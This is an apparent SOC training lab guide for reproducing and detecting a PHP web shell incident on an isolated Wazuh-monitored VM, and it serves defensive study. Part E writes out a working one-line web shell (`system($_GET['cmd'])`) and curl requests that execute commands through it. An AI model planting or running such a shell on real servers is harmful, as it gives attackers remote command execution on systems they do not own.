SOC L1 LAB · INC-003

Reproduction Guide — INC-003 Lab

From a clean webroot to an executed PHP web shell, with the detections in place

INCIDENT	INC-003 — Web shell dropped and executed
REPORT DATE	2026-11-01
CLASSIFICATION	Lab exercise — sanitized for publication
ENVIRONMENT	Wazuh 4.14.7 · Debian 12 · QEMU/KVM
SEVERITY	High

Independent portfolio lab. No production systems, client data, or real credentials.

Contents

1. Prerequisites
2. Part A — Make PHP execute
3. Part B — Deploy the rules
4. Part C — Clean state
5. Part D — Legitimate background traffic
6. Part E — Run the incident
7. Part F — Verify and export
8. Part G — Cleanup
9. Troubleshooting
10. Checklist

This guide reproduces INC-003 on the existing lab. It assumes the Wazuh stack and the Debian endpoint from INC-001 are running, with nginx and PHP-FPM available. If PHP-FPM is missing, §2 covers the install and the nginx block.

Time: 30–45 minutes. **Result:** a web shell dropped in the docroot, executed as `www-data`, and detected by FIM, audit, and the two custom web rules.

---

1. Prerequisites

Requirement	Check
Wazuh stack	`docker compose ps`
Agent active	`agent_control -l` shows `001 soc-victim Active`
nginx running	`systemctl is-active nginx`
PHP-FPM running	`systemctl is-active php8.2-fpm`
FIM realtime on webroot	`grep -A4 '<syscheck>' /var/ossec/etc/ossec.conf`
Rules 100127/100128	`grep -c 100127` / `100128` in the container

```
export LAB="$HOME/Documents/Eterna/soc-l1-lab"
export VMKEY="$LAB/lab/vm/keys/id_ed25519"
export VM="analyst@127.0.0.1"
export VMPORT=2222
```

---

2. Part A — Make PHP execute

If a `.php` file is served as source, PHP is not configured. Check:

```
ssh -i "$VMKEY" -p "$VMPORT" "$VM" \
  'systemctl is-active php8.2-fpm; ls -l /run/php/'
```

Install and configure:

```
ssh -i "$VMKEY" -p "$VMPORT" "$VM" '
sudo apt-get update -qq
sudo DEBIAN_FRONTEND=noninteractive apt-get install -y -qq php-fpm'

ssh -i "$VMKEY" -p "$VMPORT" "$VM" '
sudo python3 - <<"PY"
import re
p="/etc/nginx/sites-available/default"
t=open(p).read()
```

```
active = any(line.strip().startswith("location ~ \\.php$") and not line.strip().startswith("#")
             for line in t.splitlines())
if not active:
    block = "\tlocation ~ \\.php$ {\n\t\tinclude snippets/fastcgi-php.conf;\n\t\tfastcgi_pass
unix:/run/php/php8.2-fpm.sock;\n\t}\n\n"
    t, n = re.subn(r"(?m)^(\s*)location / \{", block + r"\1location / {", t, count=1)
    t = re.sub(r"(?m)^(\s*)index .*nginx-debian\.html;", r"\1index index.php index.html index.htm
index.nginx-debian.html;", t, count=1)
    open(p,"w").write(t)
    print("inserted", n)
PY
sudo nginx -t && sudo systemctl reload nginx'
```

Test:

```
printf '<?php echo "ok"; ?>\n' > /tmp/php-test.php
scp -q -i "$VMKEY" -P "$VMPORT" /tmp/php-test.php "$VM":/tmp/php-test.php
ssh -i "$VMKEY" -p "$VMPORT" "$VM" 'sudo cp /tmp/php-test.php /var/www/html/php-test.php'
curl -s http://127.0.0.1:8080/php-test.php    # expect: ok
```

If it prints the source instead, the location block is wrong or FPM is not running. Clean up the test file afterwards.

The install generates a large amount of audit and dpkg noise. Keep the incident evidence window narrow.

---

3. Part B — Deploy the rules

`rules/local_rules.xml` contains 100127 and 100128. The manager mounts the `rules/` directory; do not use a single-file mount (inode replacement breaks it).

```
cd "$HOME/wazuh-docker/single-node"
docker compose up -d wazuh.manager
sleep 20

for id in 100127 100128; do
  printf '%s: ' "$id"
  docker exec single-node-wazuh.manager-1 \
    grep -c "id=\"$id\"" /var/ossec/etc/rules/local_rules.xml
done
```

Expected: `1` for each.

Validate 100127 without traffic:

```
echo '10.0.2.2 - - [31/Oct/2026:22:12:24 +0000] "GET /updates2.php?cmd=id HTTP/1.1" 200 31 "-"
"curl/8.22.0"' \
 | docker exec -i single-node-wazuh.manager-1 /var/ossec/bin/wazuh-logtest 2>&1 \
 | grep -E "100127|31100"
```

Expected: `100127`.

Negative check:

```
echo '10.0.2.2 - - [31/Oct/2026:22:12:24 +0000] "GET /updates2.php?page=1 HTTP/1.1" 200 31 "-"
"curl/8.22.0"' \
 | docker exec -i single-node-wazuh.manager-1 /var/ossec/bin/wazuh-logtest 2>&1 \
 | grep -E "100127|31100"
```

Expected: `31100` only.

Validate 100128 by creating a `.php` file in the webroot:

```
ssh -i "$VMKEY" -p "$VMPORT" "$VM" \
  'printf "<?php echo 1; ?>\n" | sudo tee /var/www/html/rule-test.php'
sleep 8
docker exec single-node-wazuh.manager-1 sh -c \
  'grep "\"id\":\"100128\"" /var/ossec/logs/alerts/alerts.json | tail -1' \
  | jq -r '[.timestamp, .syscheck.path, .syscheck.event] | @tsv'
```

Expected: a row with `/var/www/html/rule-test.php` and `added`. Remove the file.

---

4. Part C — Clean state

```
ssh -i "$VMKEY" -p "$VMPORT" "$VM" '
sudo rm -f /var/www/html/php-test.php /var/www/html/rule-test.php
ls -la /var/www/html'
```

Expected: only `index.nginx-debian.html` (or the site's normal files).

Snapshot if you want a rollback point:

```
cd "$LAB/lab/vm"
./snapshot.sh save pre-inc003
```

---

5. Part D — Legitimate background traffic

```
END=$(( $(date +%s) + 180 ))
setsid /tmp/noise.sh "$END" >/dev/null 2>&1 &
sleep 20

curl -s -o /dev/null http://127.0.0.1:8080/
curl -s -o /dev/null http://127.0.0.1:8080/index.nginx-debian.html
curl -s -o /dev/null http://127.0.0.1:8080/does-not-exist
```

This produces a normal 404 (`31101`) and routine SSH/sudo alerts. It is the noise the analyst has to filter.

---

6. Part E — Run the incident

Follow `04-attack-setup.md` . In short:

```
cat > /tmp/updates2.php <<'PHP'
<?php system($_GET['cmd']); ?>
PHP
scp -q -i "$VMKEY" -P "$VMPORT" /tmp/updates2.php "$VM":/tmp/updates2.php
ssh -i "$VMKEY" -p "$VMPORT" "$VM" \
  'sudo cp /tmp/updates2.php /var/www/html/updates2.php'

curl -s 'http://127.0.0.1:8080/updates2.php?cmd=id'
curl -s 'http://127.0.0.1:8080/updates2.php?cmd=uname%20-a'
curl -s -A 'sqlmap/1.7' -o /dev/null 'http://127.0.0.1:8080/updates2.php?cmd=id'
```

---

7. Part F — Verify and export

7.1 Expected detections

```
for id in 100127 100128 80790 80792 5402; do
  echo "== $id =="
  docker exec single-node-wazuh.manager-1 \
    grep "\"id\":\"$id\"" /var/ossec/logs/alerts/alerts.json | tail -1 \
    | jq -r '[.timestamp,.rule.id,.rule.description] | @tsv'
done
```

Expected:

```
100127  Web: command parameter in a PHP request
100128  FIM: PHP file added under a monitored path
80790   Audit: Created: /var/www/html/updates2.php
80792   Audit: Command: /usr/bin/cp
5402    Successful sudo to ROOT executed
```

7.2 Export the window

```
docker exec single-node-wazuh.manager-1 cat /var/ossec/logs/alerts/alerts.json \
  > /tmp/alerts_all.json

python3 - <<'PY'
import json, datetime
start=datetime.datetime.fromisoformat("2026-10-31T22:12:15+00:00")
```

```
end=datetime.datetime.fromisoformat("2026-10-31T22:12:35+00:00")
rows=[]
for line in open('/tmp/alerts_all.json'):
    try: a=json.loads(line)
    except: continue
    if a.get('agent',{}).get('name')=='soc-victim' and \
       start <= datetime.datetime.fromisoformat(a['timestamp']) <= end:
        rows.append(a)
json.dump(rows, open('docs/evidence/INC-003-alerts.json','w'), indent=1)
print(len(rows), "alerts")
PY
```

7.3 Export web and audit evidence

```
ssh -i "$VMKEY" -p "$VMPORT" "$VM" \
  'sudo grep -E "updates(2)?\.php" /var/log/nginx/access.log | tail -20' \
  > docs/evidence/INC-003-web.log

ssh -i "$VMKEY" -p "$VMPORT" "$VM" \
  'sudo grep -E "type=EXECVE" /var/log/audit/audit.log | tail -600' \
  > /tmp/audit_web.txt
```

Decode the relevant `uid=33` commands with the helper in `writeups/INC-001/02-reproduction-guide.md` §7.4, or keep the raw EXECVE lines.

---

8. Part G — Cleanup

```
ssh -i "$VMKEY" -p "$VMPORT" "$VM" '
sudo rm -f /var/www/html/updates.php /var/www/html/updates2.php
sudo rm -f /tmp/updates.php /tmp/updates2.php
ls -la /var/www/html'
```

Expected: no `.php` shell remains.

If you took the snapshot:

```
cd "$LAB/lab/vm"
./snapshot.sh load pre-inc003
```

---

9. Troubleshooting

Symptom	Cause	Fix
PHP file served as source	No active `location ~ \.php$` block, or FPM down	Add the block, check the socket, `nginx -t`
`nginx` says config OK but source returns	The block is inside a comment or the wrong server block	Check `nginx -T` for the active location
100127 does not fire	Parent is not 31100, or the literal is wrong	Test with `wazuh-logtest`; use `.php?cmd=`
100127 fires on `?cmd=` in a non-PHP path	The literal was shortened to `cmd=`	Restore the `.php?cmd=` literal
Two `<match>` tags do not AND	Wazuh uses one match per rule	Use one literal, or separate rules
100128 does not fire	FIM not realtime on the webroot, or rule parent is only 554	Use `if_sid 550,554` and verify `/var/www/html` is monitored
100128 fires on a legit deploy	It matches any `.php` in monitored paths	Attach a change ticket; do not suppress
`.phtml` not detected	`.phtml` does not contain `.php`	Add a separate rule or a WAF
`?foo=1&cmd=id` not detected	100127 is a first-position literal	Add variants or inspect the app log
Huge alert volume after install	`php-fpm`/dpkg execve noise	Use a narrow evidence window; do not disable audit

10. Checklist

- [ ] Agent active
- [ ] `/var/www/html` in FIM realtime
- [ ] PHP executes (test file returns `ok`)
- [ ] Rules 100127 and 100128 loaded
- [ ] 100127 logtest positive and negative
- [ ] 100128 fires on a test `.php` file
- [ ] Webroot clean before the run
- [ ] Legit traffic and 404 noise present
- [ ] 100128 on the drop, 100127 on the request
- [ ] Audit shows `cp` and `id` / `uname`
- [ ] Evidence exported
- [ ] Shells removed